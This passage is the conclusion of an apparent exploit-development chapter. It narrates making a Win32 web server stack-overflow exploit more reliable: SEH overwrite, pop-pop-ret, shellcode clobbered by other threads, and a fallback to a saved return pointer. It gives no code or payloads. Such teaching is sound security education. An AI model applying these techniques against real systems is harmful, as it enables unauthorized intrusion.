Conclusion
Say that you are writing an exploit for a custom Win32 Web server. After a day's work, the exploit, a simple stack overflow, works perfectly five times out of six. It uses a standard "overwrite the exception handler structure" technique which points into the processes memory space. This in turn points to a pop pop return in a .text segment. However, because the target process is multithreaded, occasionally another thread overwrites the shellcode, and the attack fails. So you rewrite the exploit using a much smaller string, which allows the original function to return safely, and eventually obtain control via a saved return pointer in a stack frame a few returns away. This technique, although limiting the size of the shellcode you could use, is much more reliable.
The point here is that sometimes you can't rely on even very stable techniques ”sometimes you must test several different methods of exploiting a bug and then try each method on however many test platforms you can until you find the best solution. When you are stuck, try making your attack string extra long or as short as possible, or injecting characters that may cause something different to happen. If you have the source code, try painstakingly following your data as it flows through the program. Overall, don't give up. You must have a large amount of self-confidence to stay in this game, because until your exploit finally works, you will never know whether you will be successful.
We assure you, your persistence is worth it. But you must become comfortable with the fact that sometimes you will never know why your exploit does not work in the wild.
